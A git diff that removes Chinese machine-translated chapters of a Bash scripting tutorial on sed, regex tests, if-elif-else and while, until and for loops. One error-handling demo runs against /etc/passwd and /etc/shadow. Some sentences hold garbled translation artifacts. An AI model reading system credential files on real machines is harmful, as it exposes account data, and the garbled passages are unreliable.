-`sed`还有最后一个用例,我们想强调一下:你有一个文件或流,你需要删除的不是一整行,而是那些行中的一些单词。有了`grep`,这就不能(轻易)实现了。`sed`有一个非常简单的方法。 - -什么使搜索和替换不同于简单地删除一个单词?只是替换模式! - -请参见以下示例: - -```sh -reader@ubuntu:~/scripts/chapter_10$ cat search.txt -How much stone would a stonechuck chuck -if a stonechuck could chuck stone? -reader@ubuntu:~/scripts/chapter_10$ sed 's/stone//g' search.txt -How much would a chuck chuck -if a chuck could chuck ? -``` - -通过用 *nothing* 代替一词,我们完全删除了石头一词。然而,在这个例子中,你可以看到一个你无疑会遇到的常见问题:删除一个单词后会有额外的空白。 - -这给我们带来了`sed`的另一个技巧,在这方面对你有帮助: - -```sh -reader@ubuntu:~/scripts/chapter_10$ sed -e 's/stone //g' -e 's/stone//g' search.txt -How much would a chuck chuck -if a chuck could chuck ? -``` - -通过提供`-e`,后跟一个`sed`脚本,可以让`sed`运行多个脚本(按顺序!)越过你的小溪。默认情况下,`sed`至少需要一个脚本,这就是为什么如果您只处理一个脚本,就不需要提供`-e`了。对于比这更多的脚本,您需要在每个脚本之前添加一个`-e`。 - -# 结束语 - -正则表达式是**硬的**。让这在 Linux 上变得更加困难的是,正则表达式被不同的程序(它们有不同的维护者,有不同的观点)稍微不同地实现。 - -更糟糕的是,一些程序将正则表达式的一些特性隐藏为扩展正则表达式,而其他程序则认为它们是默认的。在过去的几年里,这些程序的维护者似乎已经朝着更加全球化的 POSIX 标准发展,包括*正则表达式*和*扩展的*正则表达式,但是直到今天,仍然存在一些差异。 - -我们对此有一些非常简单的建议:**试试吧**。您可能不记得星号在 globbing 中代表什么,而不是正则表达式,也不记得问号为什么会有所不同。也许你会忘记用`-E`来‘激活’扩展语法,你的扩展搜索模式会返回奇怪的错误。 - -您肯定会忘记引用一次搜索模式,如果它包含一个字符,如点或$(由 Bash 解释),您的命令将崩溃并烧毁,通常会显示一条不太清楚的错误消息。 - -只要知道我们都犯过这些错误,只有经验会让这变得更容易。事实上,在写这一章的时候,我们脑子里的命令几乎没有一个能立刻起作用!你并不孤单,你不应该为此感到难过。*只要坚持下去,不断尝试,直到成功,直到你明白为什么第一次没有成功。* - -# 摘要 - -本章解释了正则表达式,以及在 Linux 下使用它们的两个常用工具:`grep`和`sed`。 - -我们首先解释正则表达式是*搜索模式**与文本结合使用来查找匹配项。这些搜索模式允许我们在运行时不一定知道其内容的文本中非常灵活地搜索。* - - *例如,搜索模式允许我们只寻找单词而不寻找数字,寻找行首或行尾的单词,或者寻找空行。搜索模式包括通配符,通配符可以代表一个或多个特定字符或字符类。 - -我们引入了`grep`命令来展示如何在 Bash 中使用正则表达式的基本功能。 - -本章的第二部分讨论全球化。Globbing 被用作文件名和路径的通配符机制。它与正则表达式有相似之处,但也有一些关键的区别。Globbing 可以用于大多数处理文件的命令(而且,由于 Linux 下的大多数*东西*都可以被认为是文件,这意味着几乎所有的命令都支持某种形式的 globbing)。 - -本章的后半部分用`egrep`和`sed`描述了正则表达式的使用。`egrep`,作为`grep -E`的一个简单包装器,允许我们为正则表达式使用扩展语法,这一点我们和`grep`的一些常用的高级特性一起讨论过。 - -与默认正则表达式相反,扩展正则表达式允许我们指定某些模式的长度和重复频率,并允许我们使用交替。 - -本章的最后一部分描述了`sed`,流编辑器。`sed`是一个复杂但非常强大的命令,它允许我们做比`grep`更令人兴奋的事情。 - -本章介绍了以下命令:`grep`、`set`、`egrep`和`sed`。 - -# 问题 - -1. 什么是搜索模式? -2. 为什么正则表达式被认为是贪婪的? -3. 除了换行符,搜索模式中的哪个字符被认为是任何一个字符的通配符? -4. 在 Linux 正则表达式搜索模式中星号是如何使用的? -5. 什么是线锚? -6. 说出三种字符类型。 -7. 什么是全球化? -8. 在 Bash 下,扩展正则表达式语法中有哪些是普通正则表达式无法实现的? -9. 决定使用`grep`还是`sed`的好的经验法则是什么? -10. 为什么 Linux/Bash 上的正则表达式这么难? - -# 进一步阅读 - -如果您想深入了解本章的主题,以下资源可能会很有意思: - -* **正则表达式 Linux 文档项目**:[http://www.tldp.org/LDP/abs/html/x17129.html](http://www.tldp.org/LDP/abs/html/x17129.html) -* **全球 Linux 文档项目**:[http://www.tldp.org/LDP/abs/html/globbingref.html](http://www.tldp.org/LDP/abs/html/globbingref.html) -* **Sed 上的 Linux 文档项目**:[http://tldp.org/LDP/abs/html/x23170.html](http://tldp.org/LDP/abs/html/x23170.html)* \ No newline at end of file diff --git a/docs/learn-linux-shell-script/11.md b/docs/learn-linux-shell-script/11.md deleted file mode 100644 index 8c608bcd..00000000 --- a/docs/learn-linux-shell-script/11.md +++ /dev/null @@ -1,1219 +0,0 @@ -# 十一、条件测试和脚本循环 - -本章首先回顾一下`if-then-else`,然后介绍`if-then-else`条件句的高级用法。我们将以`while`和`for`的形式介绍脚本循环,我们将展示如何使用`exit`、`break`和`continue`控制这些循环。 - -本章将介绍以下命令:`elif`、`help`、`while`、`sleep`、`for`、`basename`、`break`和`continue`。 - -本章将涵盖以下主题: - -* 高级`if-then-else` -* `while`循环 -* `for`循环 -* `loop`控制 - -# 技术要求 - -本章所有脚本均可在 GitHub:[https://GitHub . com/PacktPublishing/Learn-Linux-Shell-Scripting-Bash-4.4 基础/tree/master/Chapter11](https://github.com/PacktPublishing/Learn-Linux-Shell-Scripting-Fundamentals-of-Bash-4.4/tree/master/Chapter11) 上找到。所有其他工具仍然有效,无论是在您的主机上还是在您的 Ubuntu 虚拟机上。对于 break-x.sh、for-globbing.sh、square-number.sh、while-interactive.sh 脚本,只有最终版本可以在网上找到。在您的系统上执行之前,请确保验证标题中的脚本版本。 - -# 高级 if-then-else - -本章专门介绍与条件测试和脚本循环相关的所有内容,这是两个经常交织在一起的概念。我们已经在[第九章](09.html)、*错误检查和处理*中看到了`if-then-else`循环,重点是错误检查和处理。在进入高级概念之前,我们将简单回顾一下我们所描述的关于`if-then-else`的事情。 - -# 对 if-then-else 的概括 - -`If-then-else`逻辑几乎完全如其名:**如果**T3、**那么**T7【做某事】T8 或**else**T11【做某事】else 。实际上,这可能是**如果** *磁盘已满*,**则** *删除一些文件*或**否则** *报告磁盘空间看起来很大*。在脚本中,这可能看起来像这样: - -```sh -reader@ubuntu:~/scripts/chapter_09$ cat if-then-else-proper.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-30 -# Description: Use the if-then-else construct, now properly. -# Usage: ./if-then-else-proper.sh file-name -##################################### - -file_name=$1 - -# Check if the file exists. -if [[ -f ${file_name} ]]; then - cat ${file_name} # Print the file content. -else - echo "File does not exist, stopping the script!" - exit 1 -fi -``` - -如果文件存在,我们打印内容。否则(所以,如果文件不存在),我们以错误消息的形式给用户反馈,然后退出脚本,退出状态为`1`。请记住,任何不为 0 的退出代码都表示*脚本失败*。 - -# 在测试中使用正则表达式 - -介绍完`if-then-else`后的一章,我们学习了所有正则表达式。然而,那一章大多是理论性的,只包含一个剧本!现在,正如您可能意识到的,正则表达式主要支持将与其他脚本工具一起使用的构造。在我们描述的测试中,我们可以在`[[...]]`块中使用 globbing 和正则表达式!让我们更深入地了解这一点,如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim square-number.sh -reader@ubuntu:~/scripts/chapter_11$ cat square-number.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-26 -# Description: Return the square of the input number. -# Usage: ./square-number.sh -##################################### - -INPUT_NUMBER=$1 - -# Check the number of arguments received. -if [[ $# -ne 1 ]]; then - echo "Incorrect usage, wrong number of arguments." - echo "Usage: $0 " - exit 1 -fi - -# Check to see if the input is a number. -if [[ ! ${INPUT_NUMBER} =~ [[:digit:]] ]]; then - echo "Incorrect usage, wrong type of argument." - echo "Usage: $0 " - exit 1 -fi - -# Multiple the input number with itself and return this to the user. -echo $((${INPUT_NUMBER} * ${INPUT_NUMBER})) -``` - -我们首先检查用户是否提供了正确数量的参数(这是我们应该一直做的)。接下来,我们在测试`[[..]]`块中使用`=~`运算符。这允许我们使用正则表达式进行**评估。在这种情况下,它只允许我们验证用户输入的是一个数字,而不是其他任何东西。** - -现在,如果我们调用这个脚本,我们将看到以下内容: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh -Incorrect usage, wrong number of arguments. -Usage: square-number.sh -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh 3 2 -Incorrect usage, wrong number of arguments. -Usage: square-number.sh -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh a -Incorrect usage, wrong type of argument. -Usage: square-number.sh -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh 3 -9 -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh 11 -121 -``` - -我们可以看到我们的两个输入检查都有效。如果我们在没有一个参数(`$# -ne 1`)的情况下调用这个脚本,它会失败。这对于`0`和`2`的论点都是正确的。接下来,如果我们用字母而不是数字来调用脚本,我们会得到第二个检查和随之而来的错误消息:`wrong type of argument`。最后,为了证明剧本确实做到了我们想要的,我们就用单编号:`3`和`11`来试试。`9`和`121`的回报都是这些数字的平方,看来我们达到目的了! - -然而,并不是一切都像看上去的那样。使用正则表达式时,这是一个常见的陷阱,如下代码所示: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh a3 -0 -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh 3a -square-number.sh: line 28: 3a: value too great for base (error token is "3a") -``` - -这是怎么发生的?我们检查了用户输入是否是一个数字,不是吗?事实上,与你可能想的相反,我们实际上检查了用户输入的*是否与数字*匹配。简单地说,如果输入包含一个数字,则检查成功。我们真正要检查的是从开始到结束输入的是否是数字*。也许这听起来很熟悉,但它绝对闻起来像线锚!以下代码适用于此:* - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim square-number.sh -reader@ubuntu:~/scripts/chapter_11$ head -5 square-number.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.1.0 -reader@ubuntu:~/scripts/chapter_11$ grep 'digit' square-number.sh -if [[ ! ${INPUT_NUMBER} =~ ^[[:digit:]]$ ]]; then -``` - -我们做了两个改变:我们匹配的搜索模式不再仅仅是`[[:digit:]]`,而是`^[[:digit:]]$`,我们更新了版本号(到目前为止我们还没有做太多的事情)。因为我们现在将数字锚定到行的开头和结尾,所以我们不能再在随机位置插入一个字母。使用不正确的输入运行脚本以验证这一点: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh a3 -Incorrect usage, wrong type of argument. -Usage: square-number-improved.sh -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh 3a -Incorrect usage, wrong type of argument. -Usage: square-number-improved.sh -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh 3a3 -Incorrect usage, wrong type of argument. -Usage: square-number-improved.sh -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh 9 -81 -``` - -我很想告诉你我们现在非常安全。但是,唉,就像正则表达式经常发生的那样,事情没那么简单。这个脚本现在对单个数字(0–9)很有效,但是如果你用两位数来尝试,它会以`wrong type of argument error`失败(试试看!).我们需要最后一个调整,以确保它完全符合我们的要求:我们需要确保数字也接受多个连续的数字。正则表达式中的*一个或多个*构造是+号,我们可以将其附加到`[[:digit:]]`中: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim square-number.sh -reader@ubuntu:~/scripts/chapter_11$ head -5 square-number.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.2.0 -reader@ubuntu:~/scripts/chapter_11$ grep 'digit' square-number.sh -if [[ ! ${INPUT_NUMBER} =~ ^[[:digit:]]+$ ]]; then -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh 15 -225 -reader@ubuntu:~/scripts/chapter_11$ bash square-number.sh 1x5 -Incorrect usage, wrong type of argument. -Usage: square-number-improved.sh -``` - -我们改变了模式,提高了版本号,并用不同的输入运行了脚本。`^[[:digit:]]+$`的最终模式可以读作*从行首到行尾的一个或多个数字*,在这种情况下,它的意思是*一个数字,而不是别的*! - -The lesson here is that you really need to test your regular expressions thoroughly. As you know by now, search patterns are greedy, and as soon as a little bit matches, it considers the result a success. As seen in the previous example, this was not specific enough. The only way to implement (and learn!) this is by trying to break your own scripts. Try wrong input, weird input, very specific input, and so on. Unless you try a lot, you can't be sure that it will *probably* work. - -您可以在测试语法中使用所有正则表达式搜索模式。其他例子,我们不会充实,但绝对应该考虑,如下所示: - -* 变量应以`/`开头(对于完全限定的路径) -* 变量不能包含空白(使用`[[:blank:]]`搜索模式) -* 变量应该只包含小写字母(可通过`^[[:lower:]]+$`模式实现) -* 变量应包含扩展名为的文件名(可在`[[:alnum:]]\.[[:alpha:]]`上匹配) - -# elif 条件 - -在我们到目前为止看到的场景中,只需要检查一个**条件*。但正如你可能预料的那样,有时候,有多个你想检查的东西,每个东西都有自己的一组下面的动作(*然后* *阻止*)。您可以通过使用两个完整的`if-then-else`语句来解决这个问题,但至少您会有一个重复的*否则* *块*。更糟糕的是,如果你有三个或更多的条件要检查,你会有越来越多的重复代码!幸运的是,我们可以通过使用`elif`命令来解决这个问题,这是`if-then-else`逻辑的一部分。你可能已经猜到了,`elif`是`else-if`的简称。它允许我们做如下事情:* - -*IF condition1, THEN do thing1, ELIF condition2, THEN do thing2, ELSE do final-thing - -可以在初始`if`命令后链任意多的`elif`命令,但有一点要考虑:只要有条件成立,就只执行`then`语句;所有其他的都被跳过。 - -如果你想的是多个条件可以为真,并且应该执行它们的`then`语句的情况,你需要使用多个`if-then-else`块。让我们看一个简单的例子,首先检查用户给出的参数是否是一个文件。如果是,我们使用`cat`打印文件。如果不是这样,我们检查它是否是一个目录。如果是这样,我们用`ls`列出目录。如果情况也不是这样,我们将打印一条错误消息,并以非零退出状态退出。请看下面的命令: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim print-or-list.sh -reader@ubuntu:~/scripts/chapter_11$ cat print-or-list.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-26 -# Description: Prints or lists the given path, depending on type. -# Usage: ./print-or-list.sh -##################################### - -# Since we're dealing with paths, set current working directory. -cd $(dirname $0) - -# Input validation. -if [[ $# -ne 1 ]]; then - echo "Incorrect usage!" - echo "Usage: $0 " - exit 1 -fi - -input_path=$1 - -if [[ -f ${input_path} ]]; then - echo "File found, showing content:" - cat ${input_path} || { echo "Cannot print file, exiting script!"; exit 1; } -elif [[ -d ${input_path} ]]; then - echo "Directory found, listing:" - ls -l ${input_path} || { echo "Cannot list directory, exiting script!"; exit 1; } -else - echo "Path is neither a file nor a directory, exiting script." - exit 1 -fi -``` - -如您所见,当我们处理用户输入的文件时,我们需要额外的卫生设施。我们确保在脚本中使用`cd $(dirname $0)`设置当前工作目录,并且我们假设每个命令都可能失败,因此我们使用||构造来处理这些失败,如[第 9 章](09.html)、*错误检查和处理*中所述。让我们试着看看我们是否能找到这种逻辑可以走的大多数路径: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash print-or-list.sh -Incorrect usage! -Usage: print-or-list.sh -reader@ubuntu:~/scripts/chapter_11$ bash print-or-list.sh /etc/passwd -File found, showing content: -root:x:0:0:root:/root:/bin/bash -daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin -bin:x:2:2:bin:/bin:/usr/sbin/nologin - -reader@ubuntu:~/scripts/chapter_11$ bash print-or-list.sh /etc/shadow -File found, showing content: -cat: /etc/shadow: Permission denied -Cannot print file, exiting script! -reader@ubuntu:~/scripts/chapter_11$ bash print-or-list.sh /tmp/ -Directory found, listing: -total 8 -drwx------ 3 root root 4096 Oct 26 08:26 systemd-private-4f8c34d02849461cb20d3bfdaa984c85... -drwx------ 3 root root 4096 Oct 26 08:26 systemd-private-4f8c34d02849461cb20d3bfdaa984c85... -reader@ubuntu:~/scripts/chapter_11$ bash print-or-list.sh /root/ -Directory found, listing: -ls: cannot open directory '/root/': Permission denied -Cannot list directory, exiting script! -reader@ubuntu:~/scripts/chapter_11$ bash print-or-list.sh /dev/zero -Path is neither a file nor a directory, exiting script. -``` - -按照顺序,我们已经看到了脚本的以下场景: - -1. **无争论** : `Incorrect usage`错误 -2. **文件参数/etc/passwd** :文件内容打印 -3. **不可读文件/etc/shadow 上的文件参数** : `Cannot print file`错误 -4. **目录参数/tmp/** :已打印目录列表 -5. **不可列表目录/根目录/** 上的目录参数:`Cannot list directory`错误 -6. **特殊文件(块设备)参数/dev/zero** : `Path is neither a file nor a directory`错误 - -这六个输入场景代表了我们的脚本可以采用的所有可能的路径。虽然您可能已经考虑了一个(看似简单的)脚本的所有错误处理,但是这些参数应该验证为什么我们实际上需要所有这些错误处理。 - -While `elif` greatly enhances the possibilities of an `if-then-else` statement, too much `if-elif-elif-elif-`.......`-then-else` will make your script really hard to read. There is another construct (which is outside the scope of this book), called `case`. This deals with many different, unique conditions. Look at the further reading section at the end of this chapter for a good resource on `case`! - -# 嵌套 - -另一个非常有趣的概念是嵌套。本质上,嵌套非常简单:它将另一个`if-then-else`语句放在*外部* `if-then-else`的`then`或`else`中。例如,这允许我们首先确定文件是否可读,然后再确定它是什么类型的文件。通过使用嵌套的`if-then-else`语句,我们可以重写前面的代码,这样我们就不再需要||构造: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim nested-print-or-list.sh -reader@ubuntu:~/scripts/chapter_11$ cat nested-print-or-list.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-26 -# Description: Prints or lists the given path, depending on type. -# Usage: ./nested-print-or-list.sh -##################################### - -# Since we're dealing with paths, set current working directory. -cd $(dirname $0) - -# Input validation. -if [[ $# -ne 1 ]]; then - echo "Incorrect usage!" - echo "Usage: $0 " - exit 1 -fi - -input_path=$1 - -# First, check if we can read the file. -if [[ -r ${input_path} ]]; then - # We can read the file, now we determine what type it is. - if [[ -f ${input_path} ]]; then - echo "File found, showing content:" - cat ${input_path} - elif [[ -d ${input_path} ]]; then - echo "Directory found, listing:" - ls -l ${input_path} - else - echo "Path is neither a file nor a directory, exiting script." - exit 1 - fi -else - # We cannot read the file, print an error. - echo "Cannot read the file/directory, exiting script." - exit 1 -fi -``` - -使用与前面示例相同的输入尝试前面的脚本。在这种情况下,您将在错误场景中看到更好的输出,因为我们现在控制这些输出(例如,而不是来自`cat`的`cat: /etc/shadow: Permission denied`的默认输出)。然而,在功能上,一切都没有改变!我们认为这个使用嵌套的脚本比前面的例子更易读,因为我们现在自己处理错误场景,而不是依赖系统命令来完成。 - -We've discussed indentation before, but in our opinion, scripts like this one are where it truly shines. By indenting the inner `if-then-else` statement, it is much more clear that the second `else` belongs to the outer `if-then-else` statement. If you're using multiple levels of indentation (because, in theory, you can nest as often as you'd like), it really helps everyone working on the script to follow this logic. - -嵌套不仅仅是为`if-then-else`保留的。我们将在本章后面介绍的两个循环`for`和`while`也可以嵌套。而且,更实际的是,你可以将它们嵌套在所有其他的里面(从技术角度来看;当然,从逻辑的角度来看,这也是有意义的!).稍后我们解释`while`和`for`时,你会看到这方面的例子。 - -# 寻求帮助 - -现在,你可能害怕你永远不会记得这一切。虽然我们确信,经过足够的练习,你肯定会及时接受,但我们也明白,当你没有那么丰富的经验时,你需要接受很多东西。为了使这变得更容易,除了`man`页面之外,还有另一个有用的命令。正如你可能已经发现的(当你尝试时失败了),`man if`或`man [[`不起作用。如果你用`type if`和`type [[`检查这些命令,你实际上会看到它们不是命令,而是*Shell 关键字*。对于大多数的 shell 内建和 shell 关键字,您可以使用`help`命令打印一些关于它们做什么和如何使用它们的信息!使用`help`就像`help if`、`help [[`、`help while`等一样简单。对于`if-then-else`语句,只有`help if`起作用: - -```sh -reader@ubuntu:~/scripts/chapter_11$ help if -if: if COMMANDS; then COMMANDS; [ elif COMMANDS; then COMMANDS; ]... [ else COMMANDS; ] fi - Execute commands based on conditional. - - The 'if COMMANDS' list is executed. If its exit status is zero, - then the 'then COMMANDS' list is executed. Otherwise, each - 'elif COMMANDS' list is executed in turn, and if its - exit status is zero, the corresponding - 'then COMMANDS' list is executed and the if command completes. Otherwise, - the 'else COMMANDS' list is executed, if present. - The exit status of the entire construct is the - exit status of the last command executed, or zero - if no condition tested true. - - Exit Status: - Returns the status of the last command executed. -``` - -因此,总的来说,有三种方法可以让 Linux 为您打印一些有用的信息: - -* 带`man`命令的手册页 -* 使用`help`命令帮助信息 -* 命令原生帮助打印(通常为`flag -h`、`--help`或`-help` - -根据命令的类型(二进制或 shell 内置/关键字),您可以使用`man`、`help`或`--help`标志。请记住,通过检查您正在处理的是哪种类型的命令(这样您就可以更好地猜测您可以先尝试哪种帮助方法),使用`type -a `。 - -# while 循环 - -现在我们已经回顾了`if-then-else`和高级用法,是时候讨论第一个脚本循环:`while`了。看看下面的定义,在`if-then-else`之后应该很熟悉了吧: - -WHILE condition-is-true DO thing-to-do DONE - -`if`和`while`最大的区别是,while 会多次执行动作,只要指定的条件仍然成立。因为通常不需要有一个无休止的循环,所以动作会定期地改变与条件相关的东西。这基本上意味着*做*的动作最终会导致 while 条件为假而不是真。让我们看一个简单的例子: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim while-simple.sh -reader@ubuntu:~/scripts/chapter_11$ cat while-simple.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-27 -# Description: Example of a while loop. -# Usage: ./while-simple.sh -##################################### - -# Infinite while loop. -while true; do - echo "Hello!" - sleep 1 # Wait for 1 second. -done -``` - -这个例子是 while 最基本的形式:一个无休止的循环(因为条件只是`true`),打印一条消息,然后休眠一秒钟。这个新命令`sleep`经常在循环(T2 和 T3)中使用,以等待指定的时间。在这种情况下,我们运行`sleep 1`,在返回循环顶部并再次打印`Hello!`之前等待一秒钟。一定要试一试,注意它是如何永不停止的( *Ctrl* + *C* 会杀死这个过程,因为它是交互式的)。 - -现在,我们将创建一个将在特定时间结束的脚本。为此,我们将在`while`循环之外定义一个变量,用作计数器。该计数器将在每次运行`while`循环时递增,直到达到条件中定义的阈值。看一看: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim while-counter.sh -reader@ubuntu:~/scripts/chapter_11$ cat while-counter.sh -cat while-counter.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-27 -# Description: Example of a while loop with a counter. -# Usage: ./while-counter.sh -##################################### - -# Define the counter outside of the loop so we don't reset it for -# every run in the loop. -counter=0 - -# This loop runs 10 times. -while [[ ${counter} -lt 10 ]]; do - counter=$((counter+1)) # Increment the counter by 1. - echo "Hello! This is loop number ${counter}." - sleep 1 -done - -# After the while-loop finishes, print a goodbye message. -echo "All done, thanks for tuning in!" -``` - -这个脚本应该是不言自明的,因为我们已经添加了注释。`counter`被添加到`while`循环之外,因为否则循环的每次运行都将从`counter=0`开始,这将重置进度。只要计数器小于 10,我们就继续循环运行。10 次运行后,情况不再如此,我们不再返回循环,而是转到脚本中的下一条指令,即打印再见消息。继续运行这个脚本。睡眠后编辑数字(提示:它也接受小于一秒的值),或者完全取消睡眠。 - -# 直到循环 - -而拥有双胞胎:`until`。一个`until`循环的作用和 while 完全一样,只有一个区别:只要条件为**假**,循环就运行。一旦条件变为**真**,循环不再运行。我们将对之前的脚本做一些小的改动,看看`until`是如何工作的: - -```sh -reader@ubuntu:~/scripts/chapter_11$ cp while-counter.sh until-counter.sh -reader@ubuntu:~/scripts/chapter_11$ vim until-counter.sh -reader@ubuntu:~/scripts/chapter_11$ cat until-counter.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-27 -# Description: Example of an until loop with a counter. -# Usage: ./until-counter.sh -##################################### - -# Define the counter outside of the loop so we don't reset it for -# every run in the loop. -counter=0 - -# This loop runs 10 times. -until [[ ${counter} -gt 9 ]]; do - counter=$((counter+1)) # Increment the counter by 1. - echo "Hello! This is loop number ${counter}." - sleep 1 -done - -# After the while-loop finishes, print a goodbye message. -echo "All done, thanks for tuning in!" -``` - -正如您所看到的,对这个脚本的更改非常小(但是很重要)。我们把`while`换成了`until`、`-lt`换成了`-gt`、`10`换成了`9`。现在,它显示的是`run the loop until the counter is greater than 9`而不是`run the loop as long as the counter is lower than 10`。因为我们使用的是小于和大于,所以我们必须更改数字,否则我们将会遇到著名的*逐个*错误(在这种情况下,这意味着我们将循环 11 次,如果我们没有将`10`更改为`9`;试试看!). - -本质上,`while`和`until`循环完全相同。您将更多地使用`while`循环而不是直到循环:因为您可以直接否定条件,所以`while`循环将一直有效。然而,有时候,一个`until`循环可能会让*觉得*更合理。在任何情况下,使用最容易理解的情况!有疑问的时候,只要条件合适,只使用`while`几乎不会错。 - -# 创建交互式 while 循环 - -实际上,你不会经常使用`while`循环。在大多数情况下,`for`循环更好(我们将在本章后面看到)。然而,有一种情况`while`循环非常好:处理用户输入。如果您使用带有 if-then-else 块嵌套的`while true`构造,您可以继续向用户请求输入,直到得到您想要的答案。下面的例子是一个简单的谜语,应该可以澄清一些问题: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim while-interactive.sh -reader@ubuntu:~/scripts/chapter_11$ cat while-interactive.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-27 -# Description: A simple riddle in a while loop. -# Usage: ./while-interactive.sh -##################################### - -# Infinite loop, only exits on correct answer. -while true; do - read -p "I have keys but no locks. I have a space but no room. You can enter, but can’t go outside. What am I? " answer - if [[ ${answer} =~ [Kk]eyboard ]]; then # Use regular expression so 'a keyboard' or 'Keyboard' is also a valid answer. - echo "Correct, congratulations!" - exit 0 # Exit the script. - else - # Print an error message and go back into the loop. - echo "Incorrect, please try again." - fi -done - -reader@ubuntu:~/scripts/chapter_11$ bash while-interactive.sh -I have keys but no locks. I have a space but no room. You can enter, but can’t go outside. What am I? mouse -Incorrect, please try again. -I have keys but no locks. I have a space but no room. You can enter, but can’t go outside. What am I? screen -Incorrect, please try again. -I have keys but no locks. I have a space but no room. You can enter, but can’t go outside. What am I? keyboard -Correct, congratulations! -reader@ubuntu:~/scripts/chapter_11$ -``` - -在这个脚本中,我们使用`read -p`向用户提问,并将回答存储在`answer`变量中。然后,我们使用嵌套的 if-then-else 块来检查用户是否给出了正确的答案。我们使用一个简单的正则表达式 if-condition,`${answer} =~ [Kk]eyboard`,它给用户提供了一点关于大写字母和前面的单词`a`的灵活性。对于每一个不正确的答案, *else* 语句都会打印一个错误,并且循环从`read -p`开始。如果答案正确,则执行*然后*块,以`exit 0`结束,表示脚本结束。只要没有给出正确的答案,循环就会永远继续下去。 - -您可能会发现这个脚本有问题。如果我们想在`while`循环之后做任何事情,我们需要*在不退出脚本的情况下将*从循环中分离出来。我们将看看如何使用–等待它–`break`关键字来实现这一点!但是首先,我们要检查一下`for`循环。 - -# for 循环 - -`for`循环可以被认为是 Bash 脚本中更强大的循环。实际上,`for`和`while`是可以互换的,但是`for`有更好的速记语法。这意味着在`for`中编写一个循环通常比等效的`while`循环需要更少的代码。 - -`for`循环有两种不同的语法:C 风格语法和`regular` Bash 语法。我们将首先看看 Bash 语法: - -FOR value IN list-of-values DO thing-with-value DONE - -一个`for`循环允许我们*迭代*一系列事情。每个循环将按顺序使用列表中的不同项目。这个非常简单的例子应该可以说明这种行为: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim for-simple.sh -reader@ubuntu:~/scripts/chapter_11$ cat for-simple.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-27 -# Description: Simple for syntax. -# Usage: ./for-simple.sh -##################################### - -# Create a 'list'. -words="house dog telephone dog" - -# Iterate over the list and process the values. -for word in ${words}; do - echo "The word is: ${word}" -done - -reader@ubuntu:~/scripts/chapter_11$ bash for-simple.sh -The word is: house -The word is: dog -The word is: telephone -The word is: dog -``` - -如您所见,`for`接受一个列表(在这种情况下,是一个由空格分隔的字符串),对于它找到的每个值,它都会执行`echo`操作。我们在那里添加了一些额外的文本,这样您就可以看到它实际上进入循环四次,而不仅仅是打印带有额外新行的列表。这里要注意的主要事情是,在回声中我们使用了`${word}`变量,我们将其定义为`for`定义中的第二个单词。这意味着对于`for`循环的每一次运行,`${word}`变量的值是不同的(这很大程度上是按照预期使用变量,包含*变量*!).你可以给它起任何名字,但是我们更喜欢给它起语义上合乎逻辑的名字;既然我们称我们的列表为*单词*,那么列表中的一个项目就是*单词*。 - -如果你想用`while`做同样的事情,事情会变得复杂得多。使用一个计数器和一个命令(比如`cut`(它允许你切掉一个字符串的不同部分)肯定是可能的,但是既然`for`循环是以这种简单的方式完成的,为什么还要麻烦呢? - -我们可以与 for 一起使用的第二种语法对于那些对其他脚本编程语言有经验的人来说会更容易识别。这种 C 风格的语法使用了一个递增到某个点的计数器,这与我们在查看`while`时看到的例子并无不同。语法如下: - -```sh -FOR ((counter=0; counter<=10; counter++)); DO something DONE -``` - -似乎很相似,对吧?查看以下示例脚本: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim for-counter.sh -reader@ubuntu:~/scripts/chapter_11$ cat for-counter.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-27 -# Description: Example of a for loop in C-style syntax. -# Usage: ./for-counter.sh -##################################### - -# This loop runs 10 times. -for ((counter=1; counter<=10; counter++)); do - echo "Hello! This is loop number ${counter}." - sleep 1 -done - -# After the for-loop finishes, print a goodbye message. -echo "All done, thanks for tuning in!" - -reader@ubuntu:~/scripts/chapter_11$ bash for-counter.sh -Hello! This is loop number 1. -Hello! This is loop number 2. -Hello! This is loop number 3. -Hello! This is loop number 4. 